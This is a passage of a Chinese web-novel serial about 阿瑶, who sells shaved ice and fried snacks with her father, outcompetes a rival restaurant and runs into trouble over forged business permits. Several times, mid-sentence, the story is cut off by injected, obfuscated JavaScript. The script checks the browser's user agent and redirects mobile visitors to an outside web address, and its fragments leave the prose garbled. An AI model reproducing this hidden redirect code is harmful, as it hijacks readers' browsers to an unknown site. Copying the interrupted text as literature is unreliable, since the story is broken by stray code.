“阿娘,我想着后日带你和阿爹一起去城里住,上回阿爷给的银子我又攒了些买了一座宅子。”她说的小声,几乎是贴着海氏说道。 “你阿嬷只怕不会轻易放我们离去。”海氏朝里头往了一眼,“再过几日说。” 他们未能分家,一直都是海氏心底的刺,眼下马上就要田忙,他们想要分出去也还要耽搁些时日。 阿瑶说道:“阿娘,莫怕改日我寻个由头叫你们进城,之后便不用回来,想来阿嬷也不会跑进城里叫你们回去。” 海氏点头:"今日你留在家中吃了饭再走。" 她答应海氏留在家中吃饭,只是家里的膳食同以前一样,粗面窝窝加上几个野菜,配上一碗极少出现的小炒肉。 饭桌上,阿瑶啃了口粗面窝窝和两个幼弟使眼色,象征性的吃上了几口,来前特意和两个哥儿说过回家千万不能说出在城里的吃食,否则就不带他们去了,两个弟弟年纪小,她语气凶了些,他们都怕阿瑶不带他们回去,一句多余的话都不敢乱说。 晚上阿瑶留在家中休息,屋子里头海氏打扫过,大概是知晓早上弟妹去学堂叫孩子们归家,她知道阿瑶会一道回家,提早收拾好了。 睡前,海氏进了阿瑶屋子看她,拉着她手眼红红:“阿瑶,娘希望你这辈子都好好地,将来找个好人家。” 她是心疼阿瑶生来就不被婆母喜欢,本该如花的年级非吃上比其他同龄人多上许多的苦楚。 “阿娘,您和阿爹,还有阿爷从小疼我,我必定好好的,我还想多留在你们身边多待些日子。”阿瑶只想赚很多钱,一家四口好好过。 海氏离去后,阿瑶躺在席上,满脑子都是想赚钱买铺子的念头,可手头终究还是差上一些。 隔日阿瑶打算回镇子上卖冰沙,梁文宇老早出了摊子,已经开始忙碌,阿瑶走过去调侃道:“梁老板今日出摊可真早啊!月底是该涨银了。” 她现在每日可卖一百五十碗,赚的银钱是三百文,一月可得九贯。 期间阿瑶从未休息过一日,每天起早贪黑的努力干活,生怕自己一休息后头就有酒楼将她千辛百苦得来的生意抢走。 她早上赶去东市买果子,看中一件外衫,款式和料子都不错,只是价格贵,需要五两银子才能买下,阿瑶那日弄湿衣裙得亏有梁文宇帮助,否则丢了名节可不好。 “上回多亏有你,我今天买了件衣衫,料子比不上你往日所穿,务工时穿穿还好。”她没买看中的那件外衫,实则是太贵了,阿瑶买不起,换了一件只需一两银子的衣裳。 她擦净双手从竹篮里捧出来,目光真诚透着丝笑意,拿捏不住梁文宇的身量多大,可粗粗看了眼还是能猜出来一些。 只是对方脱了外衫试上一试时,却发现袖口短了一寸,肩背部分有些小,贴着里衣太紧了。 阿瑶有些不好意思:“对不住,我估摸着你应该穿这般大的衣裳,没成想买小了,一会儿得空我在跑一趟去换一件。” “好。”梁文宇脱下交与阿瑶,开始捣碎冰桶里的冰块。 桶里头的冰时间一长容易结块,没过一会就要用铁锥子敲一敲,否则等食客过来买时就捞不出来了。 阿瑶多买了几个西瓜堆在摊子后头树下,天气热她在下面放了个木盆里面是大冰块化掉的水,先放三个进去,等用一些再放一些。 昨日取了小竹牌的食客紧赶慢赶着来吃上一碗新鲜的西瓜炒酸奶。 可牛乳与西瓜搭配味道固然好,但做出来的炒酸奶在阿瑶认为是差上一些的,若是能将牛乳替换成椰浆是再好不过。 说起椰子,阿瑶问过东西两市所有商户,他们对其称呼为“越王头”,东市中有走南闯北的镖局,她去问过,得知琼州(海南)有此物,还问了如何获取之法。 对方告知她镖局最快走水陆两路,一路南下可将货物运回,只是越王头储存时间短,最快的路子也要两月才能到。 她只好摒弃这个念头,延续牛乳加西瓜做炒酸奶法子进行,倘若越王头(椰子)获取途径简单的话,阿瑶还是希望用此为原料制作。 但先前镖局老镖师说过,要使越王头长时间保鲜,那必须用上冰块强撑段时日,这果子烧钱,都要赶上杨贵妃吃荔枝了,这是老镖师最后一句。 阿瑶当然明白要想吃上越王头与荔枝是何等的难,而她论财力,人力都不足。 眼瞅最后一个西瓜都快用完,前头队伍只见增未见减,阿瑶使唤梁文宇去买些瓜回来,有位食客借了他们推车,买瓜回来时,有多数客人叫花楼拉走了。 阿瑶是气的没法子,毕竟她手头人少比不上花楼人手多,料子足够。 只不过自从她表现出对合作一事有些抗拒之意后,有回碰巧遇到许老大出来采买,又听闻他周边伙计说他被店家克扣工钱一事。 许老大这些天挣下的银钱明显比以往少了许多,他平时是在后厨做掌勺的,可店家忽然转变性子让他去大堂跑腿。 阿瑶劝说了几句,想让她爹出来同她一起做生意,可许老大每次在店门口瞧见阿瑶满头汗都不知疲惫的做着,他心底泛酸,怕帮不上什么忙,反而拖累了阿瑶。 她听着很不是味,许老大话语中句句不露疲惫,可句句都是。 既然许老大不愿说,阿瑶也有法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许老大是吃亏一方,他缓缓说来。 阿瑶本要上前去替他阿爹说上一说,掌心传来的暖意与束缚,她才注意到手腕中间有大手一直将她拉住,双目相对时,她读懂了对方眼神中传递出来的含义。 梁文宇贴近阿瑶:“莫动,等官差判定。” 周围人都是寻常百姓,他们对许老大所说的那些话替他感到不值,花楼生意是所有酒楼中最好,陈设摆件也都是能在汴京里排的上号的几个。 酒楼之间的消息早已不是什么秘密,他们皆知道那花楼店家想要同阿瑶合作又不肯多让利给对方,风向一时间往许老大这边倒。 大家伙都知道地方大了,容不下人。 许老大干脆和店家撕破脸,把他内地里干的那些好事全都抖露出来,说出私下的店家让他们做沙冰时偷工减料,用料不干净,打算争个鱼死网破。 临了官差让店家赔了许老大五两银子工钱,此时就此了结。 鉴于许老大手艺好,人群还未散去时附近酒楼抢着要聘请他过去做掌厨。 阿瑶突然有些欣慰她阿爹手艺向来都是最为出色的那一个,她朝许老爹笑着招手:“阿爹,走,我带你回家。” 这句话还是许老大曾经对阿瑶说过的话。 “如今我摊子忙,您来帮我可好?” “好,阿爹自然要多帮你些时日!” 16. 分家前(十六) 阿瑶嘴上说着让许老大帮忙,可她想着如何再多准备一个摊子供许老大卖些小吃。 许老大婉拒周边酒楼递上来的橄榄枝,撸起袖子朝冰饮摊过去:“阿瑶,你这摊子东西可真齐全!” 他面前除去木桶里存放的冰块之外,外沿围着桶身周边木板上放着好几只陶碗,里面盛放各种果肉和果酱,甚至还有难得一见的巴榄子。 碰巧摊子边过来了几位食客,看面貌都是些常来的熟客,阿瑶下意识的笑脸相迎招呼起来,手上开始按照这几位食客喜好准备他们的口味。 梁文宇刚好从后头搬了个西瓜到前头砧板上切开去皮,许老大就站在阿瑶身边,当看到梁文宇侧脸时,眨动双眼,眼神从他身上晃荡好几回:“阿瑶,你身旁这位小哥,长相怎和吴县令有几分相似。” 这问题阿瑶曾经也问过一遍:"阿爹,你定是瞧错了,他哪能和县令扯上什么关系,不过就是个寻常人罢了。" 她未说过梁文宇先前与她之间的恩怨,轻描淡写说了几句带过话题。 “阿爹,您去瞧瞧后头还有多少西瓜,替我去买上一些。”最近几日吃的冰沙和炒酸奶都是西瓜味居多,她早上已复购一次,主要还是她给的料足才能达到味道浓郁。 支开许老大,阿瑶小声对梁文宇说道:“切莫将你我同住一屋檐之事脱口而出,否则有你好看。” “在你眼中我是如此轻浮之人?”梁文宇侧头,桃花眼中带着戏谑之意,眼底还有一丝对阿瑶不信他的伤感。 阿瑶放下手中物,想要替自己辩解一番,但余光扫见许老大捧着瓜过来,快速与梁文宇拉开距离。 “阿瑶,阿爹去替你买些瓜回来。”许老大粗粗数了遍瓜量,得知数量不多,主动担任起买瓜任务。 阿瑶喊住许老大:“阿爹,你如今手头剩余不多,这些留着给阿娘和阿弟买些肉吃。”她从桶里抓了一把铜钱塞到许老大手中。 许老大本还要推脱,后头在阿瑶劝说之下收下了铜板,借了推车就走。 人走后,她才有机会同梁文宇解释:“我并非不信你,只是...”阿瑶想来想去还是止住了话。 “只是什么?”梁文宇困惑,眼角微挑、 阿瑶低头轻摇,将嘴边话吞了下去:“无事。”她一手捧冰碗,一手淋果酱,动作行云流水般顺畅。 梁文宇眼见阿瑶没说话,手上也开始忙起来。 最近几日冰中总是会出现些稻草碎末,冰质不纯,阿瑶发现过几次每每同冰行伙计说都被他们敷衍了事。 逢午时小憩便是阿瑶摊子最为忙碌时刻,许老大买瓜归来,瞧见摊子前的队伍都赶上花楼一日人流,心中自豪啊! 要论炒酸奶,州桥这一代唯独阿瑶会,可哪沙冰一路过去种类也是繁多的,但口感上就比阿瑶的要差上几分。 许老大原先会在州桥上购买沙冰和冰饮消暑,周边摊子连同酒楼都吃过几回,冰丝粗糙,味道寡淡无味,就是一碗冰水。 阿瑶所做的虽放了大半碗冰,可上头浇的都是用麦芽糖熬煮出来的果酱,新鲜时令口味好。 今日发生之事还未及时通知家里头,阿瑶闲下来,坐在摊边台阶上,手中捧着白面馒头啃起来,嘴里鼓鼓囊囊:“阿爹,我想着你手艺好,不如开个小吃摊?” 许老大手艺不是一日两日的好,就像天生般,做一样东西好吃一样。要不是当初花楼收他一试,估计今日早没了这名字。 罕见的事,花楼居然舍得赶他走,想必是生意大了招纳了比许老大手艺还好的人来。 许老大撑起眼皮,利落切瓜装盘:“阿爹帮你便可。”他失了工,手头并不宽裕,又不想阿瑶为此平生更多负担。 “阿爹,您手艺好,我是极其相信的,再说哪花楼多半都是为了您手艺去的,我们自个开摊子做生意,他们还敢抓我们不曾!”阿瑶不想埋没许老大的好手艺,怕她阿爹失了信心。 阿瑶好似看出许老大顾虑:“阿爹莫担心,我手中还是有些银子可使的。” 其实她手中剩下早已不足,可为平复许老大只好这般说着。 但做生意可不是简单支个架子就能做的,还需要办理文书,她找了路子过了面,批文下来,着手开始准备。 到底还是差了几两,锅炉,食材都需要用银子买,阿瑶只好去向钱庄借。 钱庄里的人跟人精似的,看她一身补丁衣裳都不愿将钱借给她,去而折返,阿瑶回到摊位满脸愁容。 好在许老大暂时离开去送沙冰,这份忧愁也只有梁文宇可见:“钱庄未借?”他见阿瑶空手而归,半文铜板都未捞上。 阿瑶深深叹了口气:“钱庄见我未有富人之姿,担忧易是常事。” “既如此,倒不如让我去试上一试。”梁文宇散漫说着,神情寡淡。 左看右看梁文宇身上都一直保持着富家子弟模样,阿瑶想着有人帮自然是好事一件,便答应下来。 梁文宇同许老大之间无缝衔接的十分到位,一个刚走,一个刚回,阿瑶身旁时刻都有人帮忙。 要说帮忙的手速还得看许老大,往日里梁文宇并非未帮过,可一个花花公子和常年务工的人对比起来手速还是明显着的。 阿瑶做了碗炒酸奶,转头许老大都已经把食客点的沙冰都挖好,甚至都已经开始上手淋果酱。 前头她简单说过一些,许老大记性好住大半沙冰搭配的东西,阿瑶过去调整了一些所需加入的果肉和冷丸子。 许久无人点上一碗蜜沙冰了,阿瑶抬头瞧来了几眼,结果来人是借钱回来的梁文宇,她眉眼从容得亲手为他做上一碗。 中份琉璃碗中如雪山般的细碎沙冰上头是落日映射上去的金色散光,随着一勺厚重绵密的红豆沙盖上尖端,压下的地方散落许多冰条,阿瑶又往碗中洒了一些黄豆粉粉和几颗熟软红豆,最后淋上蜂蜜。 越是简单的一碗蜜沙冰,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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能捞着便宜的都是州桥上的常客,鼻子灵敏的食客闻着味儿就过来了,站在锅子前盯着油里翻滚的四喜肉丸直吞唾沫。 “客官,您想要点什么?”阿瑶切了些四喜丸子摆在摊子前供食客们品尝,光闻香味就知其好吃,一刻钟全卖完。 他们结束营生,坐在一道细数铜板,用绳子串起来,阿瑶私下偷藏了一些小吃,留着归家给阿娘和两个弟弟尝鲜。 一年里头,别说整个肉丸了,他们家能吃上几口肉都已不错,阿嬷管吃食方面紧的很,逢年过节吃上一个肉包解解馋都是奢望。 留着自家吃许老大用料方面足的很,捏得小炸成金黄,鲜咸酥嫩。 阿瑶回去时捂在胸口,怕凉了不好吃,天气热没冬季凉的快,海氏拿到手时还热乎着。 阿瑶和海氏说了今日发生之事,又讲了她同许老大做小本买卖营生想让她一起去。 17. 分家前(十七) 海氏心里是想跟阿瑶去镇子上的,但她同许老大两人还是想借个由头分家出去,可一直没能找到机会。 “再过些时日,阿娘过去陪你。”海氏塞了颗肉丸到阿瑶嘴里,“你阿爹手艺好,往后多吃些,太瘦了。” 阿瑶明明是十六年纪,因常年吃的都是素食,导致她发育过程中营养不良。 他们家比其他农户还要在宽裕些,许老爹外出务工也是有银票寄回,全攥在她婆母手中,苛刻阿瑶宽待小儿,多年累积下来,海氏早对许陈氏颇有怨言。 恨不得当即分家搬出。 “阿娘,农忙时我也回来帮忙,到时候可在于阿爷商量,就说阿爹需要银子做生意,阿嬷一定不愿给。”她是猜准了许陈氏只进不出的习惯,表面上看似一碗水端平,背地里偷摸给了小叔伯多少银子都不知。 阿瑶从海氏屋子离开去了两位哥儿屋子,牛皮纸团里还剩几个,吃过东西就要带这两人回镇子上去住。 两哥儿回到镇子满脸高兴的很,吵嚷着要阿瑶买些书籍看。 本来就是因为小叔母想余哥儿,阿瑶才会带两人归家,否则那个狼鼠窝她还不乐意回去。 “阿姐是又做了什么新营生?”那油锅里炸锅的肉香还未散,一进门就闻到,余哥儿问道。 阿瑶拴上门,朝屋檐下走:“今日你俩吃到的肉丸就是咱们自个做的,是不是很香?” “嗯,好吃。”两人齐声说道。 “明日下学堂知道去哪儿找阿姐吗?”阿瑶替两人整理好明早要穿的衣裳和鞋袜。 他们俩点点头。 熄灭烛火,阿瑶从多订的小冰桶里掏出挑拣过的小鱼清理干净,又削了藕皮泡进冰水中保鲜,准备完明天的炸货料,阿瑶开始准备她自己沙冰需要用到的那些料子,冷丸子这几种沙冰并不是经常出现,但还是有受众人群的。 先前挑选了几种沙冰加入菜单中,时隔几日跟换一波,无非就是这些款式轮流出现,昨日还有食客来点冰雪冷丸子,她没准备,说起来也是多日未上了。 她点了盏灯,搁在灶头,磨好黄豆粉加入少量糯米粉和果酱混合成丸子丢进锅中,煮开捞起。 果酱代替麦芽糖揉进粉末中多了果子清香,两种阿瑶都做了些,还有最为寻常的冷元子。 许老大没去过宅子老早就候在州桥边替阿瑶抢位置,周边摊户是谁来的早就能有好位置,大家伙一般都喜欢摆在桥上,桥脚都是些小玩意儿。 单单阿瑶就喜欢摆在桥架,对面是几个酒楼,而且她从开摊至今一直都是在此做生意,若是换了地方那些熟络的食客多半要被酒楼叫走。 主要吃准了食客喜好,即便酒楼在如何揽客,只要阿瑶在基本无往花楼去的,以往都是花楼在冰饮子这块占据头筹,如今阿瑶冰饮摊子生意做的火热,就连文书刊都为他们的炒酸奶做过一波宣传。 此刻阿瑶身边多了个摊子,大伙都知晓前花楼门口发生何事对许老大出去单干情有可原,昨晚阿瑶带着许老大去的西市,但远远没有州桥上热闹,吃过许老大手艺之人众多。 他先是起锅烧油,然后炸制各种款式小吃:藕盒、小黄鱼干,因为小摊做的都是小本买卖,后面阿瑶还替许老大在板子上用木炭写着私房菜。 很多菜色都是现代人独创手艺,结合到这个时期是刚好,可由于当时很多食材都并未传入,阿瑶摒弃很多款式。 主要那时候的人吃的相对较杂,许老大习惯了原先在花楼做过的哪些菜色,对于新鲜事物难以下手。 阿瑶站在一旁指导,顺带兼顾冰饮生意,两个摊子贴得近,未从阿瑶这边点上一碗的食客都跑到了许老大摊子哪儿。 许老大最拿手的还是东坡脯,这道菜好吃简单,只需要用一段青鱼,横切成筷子粗细的长条,加醋盐抓捏均匀腌制半小时,同时准备一碗绿豆粉加一些胡椒粉拌匀,将鱼肉沥干放进粉末中裹上一圈,夹入油锅煎制即可成。 除去鱼块制作,阿瑶还让许老大把多余出来的鱼块切成薄片裹上面粉扔进油锅,炸成酥脆,灾更具原先吃过的“酥鱼”进行调制汤汁,晾凉后倒入汤汁浸泡,一道现代改良版酥鱼就这样出现了。 梁文宇并非每日都待在摊子前,尽管他是阿瑶花了五两银子买下的仆从,可她从未将他当做下人对待,反而像是良友。 食客走到阿瑶摊子前无人时都会叫上几声,阿瑶便回过去为他们制作沙冰使用。 两个摊子挨的很近,阿瑶把木桌全摆在一道,后头又添了几张,反正州桥下边入不了其他人眼,她反而占据了个好地方,只要不是耽误过往行人,前头只管摆就好。 原本阿瑶打算让许老大去其他地方摆摊子,她所在位置处于花楼对面,经临前几日之事,阿瑶故意抢夺花楼生意。 “阿哥,你走后花楼招了个新厨子,啧啧,手艺跟你相比还是差些,我这人不缺银子就缺口吃食。”此人在外经商,路过此处总要找过来吃上几口许老大做的吃食,每次去点名要吃许老大做的吃食,他暂留几日,跑去花楼点的还是常吃的几道,可味道却变了。 直到今日出门,路过州桥望见摊子上方的藩旗,又从他人口中得知独立脱离花楼独自营生一事,这才沿路寻了过来。 “您客气了,我阿爹比不上花楼名厨,虽说是从哪儿出来的,若不是瞧着我阿爹年纪大好欺负,今日您指不定要上哪儿找这口吃食。”阿瑶谦虚中带着几句讽刺花楼店家话语。 她替许老大招呼好这位食客,亲自做了一小碗炒酸奶给人家尝尝,希望对方在外多帮忙说几句好话,交谈间她大致摸透了花楼如今的厨子手艺在几分。 到底是常来往的食客,好言好语都是对许老大手艺的喜爱,哪些吃习惯的食客进了门尝上几口出来脸上都不太好,阿瑶就候在花楼门口,圆溜溜大眼中似琉璃一般明亮,有那么一瞬间闪过点点星光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449796|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连着叫了好几拨人,无一人拒绝,阿瑶站在门外同店家目光相撞,她笑着轻点头,眼神中有股挑衅之意流露而出。 花楼特色菜新厨子会,许老大易会,在原来食材上进行改良,让口感更加丰富和鲜香。 本来是新摊子,阿瑶想通过吸引人的方式从中捞到更多食客,脑袋瓜子一转,又往板子上写了几字。 【买二送小份沙冰】 百姓一日所赚不多,能占上便宜的人都来赶这趟热闹。 外头摆下的木桌都快不够用,刚收了碗筷就来了人,阿瑶干脆直接用冰化掉后的凉水洗碗筷。 省去来为河边浪费太多,前头还在一波接一波而来,好在阿瑶有先见之明准备了有两大桶,全装在冰桶保鲜,拿出一些裹上面粉就能炸。 相比炸糕,鸡肉,牛肉这些口感还是小黄鱼最为酥脆可口。 阿瑶只想先靠着小黄鱼带动食客,而后她从冰水中捞出鸡架骨,剁碎裹上一层薄薄的面粉糊放入油锅炸脆,必须是能够带骨一起吃下肚的那种。 她先炸了一批,撒上胡椒和其他香料,刚出锅的鸡骨架香气浓郁,引得食客去而复返。 只因阿瑶写着买二送一,有些食客并不喜爱吃藕盒,小黄鱼是必买的一种,他们想尝试其他口味,厚着脸皮问阿瑶可否能够送一份小碗沙冰。 既然是做生意,阿瑶自然愿意先替他阿爹打出响头,一份小黄鱼比小份沙冰赚的还多,足够回本。 阿瑶打着从花楼请来的名厨为由头,成心和花楼店家过不去,当众抢他生意不说,连带着冰饮子和炸货摊都开在他们对面。 此刻她眼里只有怎么赚钱,别的一概不提。 “阿爹,在来三份鸡骨头。”她手中端着木质托盘,里面摆着两盘小黄鱼和三盘鸡骨头。 “好勒。”许老大赶忙抓了把下锅,目光时不时朝外头看,估算食材是否足够。 这里猪下水吃的人多,可它只适合烤不适合油炸,她打算明日弄一点回来烤一些,让许老大同她一样每周挑选几样试一试。 转念一想,阿瑶又觉得行不通,本来周边买爊肉和炸货有几个,若在挑选着来指不定就无法做此生意了。 桥底新来来一家买蔬果的摊子,还是今日同他们一起出来的,阿瑶眼尖,瞄见那摊子下放摆着落酥(茄子)买了几个过去切片,两片夹一些肉泥裹上面糊炸。 她想法比较跳脱,看见哪些食材做出来好吃就用什么。 “快来尝尝新鲜出炉的落酥盒!”阿瑶叫卖起来,抛头露面的赚钱对她来说一点儿都不丢人,“客官来一些吗?花楼大厨所做!味道包好!” 光花楼两字就能吸引到人,可近期花楼手艺并未达到食客心中所有味道,他们站在摊子前犹豫。 阿瑶端来一些放出去:“您要是信我,尽管尝一尝,若不好吃,就当送您的。” “好,我等先尝一尝!” 18. 分家前(十八) 这头鸡骨刚出炉,哪头食客起了闹哄,只见人群中站着一人,嘴角满是油光念叨着:“这什么东西,拿些便宜货敷衍,真当银子好赚,是吧!” 他是一丁点儿肉都不放过,碗里空荡荡,就连木桌上骨头渣儿都不剩,简直就是吃干抹净倒打一耙。 “客官,您是觉着哪儿未对胃口?”阿瑶擦干双手过去了解实情。 “你们框人怎不说,一份鸡骨头要收十二文,杀猪呢!” 阿瑶笑道:“是是是,可您吃的不是欢快的很吗?别说剩下了,这是连骨头渣都未留下一颗。”她收了盘子要送去洗,又补了句,“来吃的食客都是图个新鲜,常来的食客吃习惯了咱们手艺,您是占哪儿一方啊!” 今日来吃的食客里头,衣着间并无粗糙、补丁之人,对她所标售价满意至极,一看此人便知是位刺头。 阿瑶睨了花楼一眼,再看里头大堂人影半分未见,反倒是他们摊子拥挤的很。 估摸是花楼店家派人来使绊子来了,多少给点脸面:“想来您是两边都不占了,不打紧,改明儿再来我定好生招待,小摊新店开张,照顾不周多有包含。” 能够为许老大手艺买单之人皆如当坐中的商贩,图口好吃食,钱财不是事儿。 而有些则是为了他们买二送一的便宜所来,大伙不过各取所需,并无强求。 周边人全站在阿瑶与许老大这面笑着打趣那位偏要冒出头的,甚至还有担心许老大为此不做了这门营生,主动担保的。 哪人眼见此法不行,顺着阿瑶给出的台阶顺势而下,擦了嘴灰溜溜而去。 许老大抬头朝后与阿瑶对视一眼,目光由敦厚转变为冷漠,不经意瞄到前头靠近的食客,笑颜相对吆喝了几句。 梁文宇来时阿瑶正蹲坐在摊子后头的木桶边洗碗,她只觉得头上一黑,侧头道:“你可算回来!” 她虽不知梁文宇每日都有段时辰不在摊子,去做什她已不知,只知过两三个时辰就回。 “店家今日好兴致,亲自下手浆洗?”他每次同阿瑶说话都带着调侃之意。 好在适应了他平日里的做派,阿瑶不急着回复,将琉璃碗从清水中捞出,摆放整齐叠在一处。 梁文宇捧起碗碟送到推车隔间,回来后主动替阿瑶清洗起来,挽起的袖口处多了道裂痕,撕开的布料如抽丝般卸下来,就这样到阿瑶面前晃悠。 阿瑶女红手艺不佳,瞧见他这袖口,眉头紧锁:“你这回又受了伤?” “并无,不过是被钩子抓破而已。”梁文宇对衣裳破了早已习惯,指尖翻了翻破损面,“劳烦你帮我补上一补。” 苦了阿瑶,上回破的口子她勉强能缝补,可这回抽丝打个补丁可不行,阿瑶琢磨要如何拿回家让阿娘替她补一补,可她与梁文宇之事从未向阿娘说起。 即便许老大知晓两人关系,也从未朝家里说些什么,事关他闺女名声,这些事儿自然守口如瓶。 阿瑶忽然想到梁文宇出路酒楼多次,与那些文人雅士相熟又同店家打过交道,理应知晓: “花楼店家底细你可知?” 梁文宇神色一顿:“为何如此问。” “最近几日,见食客中总有一刺头过来捣乱,我想着或许是花楼店家派出来打探之人。”阿瑶对这件事态度淡定。 梁文宇缓慢说道:“我曾去过几次,与哪店家碰过面,但并不熟络。” “今日来闹虽说亏些钱财都不是事,可若往后闹起事来大岂不要招来杀身之祸,本就是小本买卖,已经无多少利润可言。”阿瑶一句一句说着。 梁文宇转眼道:“你抢走人家生意,对面自然要出手替他自己打抱不平。” 阿瑶眉头微蹙:“花楼大厨手艺不精能怪何人,他将我阿爹赶出酒楼只因我生意好,当初我与他合作时并未见他答应,反而拒了我。只是大伙儿开门做生意讲究实力说话,技不过人,专干这等子偷鸡摸狗之事,伪君子的小人也。” 这些话阿瑶不过是实话实说,她并非心胸狭窄之人。说到伪君子,她目光往身边的梁文宇撇了一眼,随后视线望向前方食客。 因为许老大吃食准备较多,就连摊贩都来了几个凑热闹,他们本就是同行,阿瑶卖给他们便宜了些。 她又去购了些鸡骨头和肉类,售价方面还同原来一样不过在定肉食上方比鸡骨头再贵上三文,接下来准备好要等午间休沐的过往行客。 晌午一到,两哥儿下学堂手拉手过来,头顶梳着独髻用布包着裹成团子状,身上穿着竹青襕(lan)衫,肩上挎着海氏为两人做的小包。 “阿姐,阿爹!”小宇拉着余哥儿快速朝摊子方向跑起来,等到人面前,额头都有些出汗。 阿瑶拿出准备好的吃食递到两人面前:“先将手洗了再吃。” “阿姐,我们来的路上听路人说,阿爹是被店家赶出来的可有此事。”小宇问道。 阿瑶擦了擦桌子,视线落到许老大身上随后又挪回落到两哥儿身上,笑着说道:“莫听外人胡说,阿爹是想自己做生意,心里惦记你和余哥儿,这事是阿姐让阿爹干的。” 小宇捏筷子的手势标准可握点较低:“阿姐聪慧,带阿爹出来一定会赚更多银钱。” “对,小宇说的对,阿姐和阿爹还要让你和宇哥儿进更大的学堂,学更多知识,将来考个状元回家。”阿瑶对两人寄予厚望,手中动作都快了几分。 “好。”两人同时喊道。 阿瑶的冰饮摊生意这几日有些淡下来,不知是外头食客吃腻了还是都想尝一尝许老大的小吃,反正这几日没几碗收入,全是送出去的多。 好在也能多少为阿瑶积累一些从未吃过她做得冰沙之人,可不知为何持续好几日都没什么人来买,连炸货摊的小促活动结束后一碗都没买出去。 不禁让阿瑶开始找寻其中缘由,她四处奔走打听,最后被一路人拉住:“阿瑶,你哪冰饮摊早些关了吧!莫再害人!” “大叔,您胡说八道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449797|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我做的东西都是凭良心说话,用料可都是现买现卖。”阿瑶反驳起来。 那人见阿瑶不信,将她拉到城墙边文书旁,指着上头白字黑字念到:“你且看看,是我胡编乱造吗?” 阿瑶一行一行读字,生怕漏了一个,上头写着的话字里行间都是对阿瑶的贬低,甚至还写了她的东西吃多会害人等等。 气得阿瑶当即把文书撕成小块碾碎:“是谁?若是别家冰饮我不敢保证,我自做的绝对假不了。” 她撕了文书气急败坏的走回去,回去路上许老大还在同官差争论不休。 她连忙跑过去拦住:“官爷,有事好说,您可千万不能将我摊子拉走。” 官差也不想同阿瑶纠缠,放开推车,握住佩刀:“你等文书让我瞧一瞧,外头有百姓检举你造假。” “岂会,官爷等我片刻,我回家取一取文书回来。”阿瑶同官差说好,交代许老大一定要看好人。 阿瑶来回跑,等她到时官差还在,连忙从怀里掏出东西呈到人面前。 官爷接过细细查看:“你这文书上头的章印不对,两份文书皆是假的。” “您说什么?假的,绝无可能!”阿瑶亲自请人办理,一路上她都跟着书写、盖章半分都不敢懈怠。 “瞧见上头印泥色没,若是官府文书,颜色因发青,你这底色发蓝,明显是私印!”官差把文书举到日头底下,指给阿瑶看,“摊子今日必须带走,等你办好文书在到府衙缴纳赎金便可拿回。” “您再给些时日,我定办好,这几日就不出来了,麻烦官爷通融通融。”阿瑶给许老大使了眼神,拿了小吃塞到官差手中。 得了好处的官差语气都柔和了几分:“再给你五日,五日后若还未受理妥帖,官府就要来收。” “好。”阿瑶问了官差去何处办理文书,结果得到官府回答说是后几日的票都已领空。 阿瑶回去路上满脸愁容,眉头紧的都快挤到一处,心里担忧着,回到宅子看见许老大替他们做饭,进门前,阿瑶收起低落情绪换上笑颜。 推门而入时,里头几人都看着她,许老大用抹布擦着手往阿瑶身旁走,嘴里没说话,可哪些话都显露在他脸上。 “阿爹,没事,文书过段时间便能下来。”其实她根本就没进府衙,连号子都没抢上一张。 吃午膳时梁文宇刚好回来,吃饭时许老大不知怎么的突然说起此事,他居然主动答应帮忙解决。 阿瑶夹完菜对上他眼时,发现他眼底好像闪过一丝担忧,她只当自己看错了,低下头吃起来。 许老大出去托人帮忙,阿瑶洗好碗开始起火要做果酱。 梁文宇大马金刀得坐在木凳上:“我与你做笔交易如何?” 阿瑶停下手中动作:“什么交易。” “五两银换文书。”梁文宇勾唇笑道。 阿瑶挖空钱罐才找出四两银,她全倒扣在木桌上:“只剩下怎么多。” 她该怎么办才好! 19. 分家前(十九) 眼见摊子要被收走,文书做不成,生意之事怕难上加难,阿瑶眼眶倏地红了几分,瞳孔中多了道忧伤。 仅仅抬了一眼,那楚楚可怜的神情,莫名让人心头一紧,她垂下眼眉宇间围绕着一股淡淡的焦灼。 “看来只能另找门路,往后只怕由着阿嬷拿捏了。”她买下宅子没几日,借了银钱未还,又被人举荐连摊子都快要失去。 有一瞬间,她只觉得好似黄粱一梦,那几日的自由像是一场美妙梦境。 梁文宇喉结微动,双目从她脸上移开:“四两成交,文书明日就到。” 虽然阿瑶是有些不信梁文宇能够在明日就能摆定,但她还是答了谢,指尖拭去泪水,乖巧的点了点头。 原本说好要过几日来取摊车的官员得了命令猝然闯进家中,带着一般人将其拖走,阿瑶一介女子,想要阻拦可力气终究抵不过。 梁文宇按住其中一人手,沉眼道:“官爷,明日定将东西呈上。” 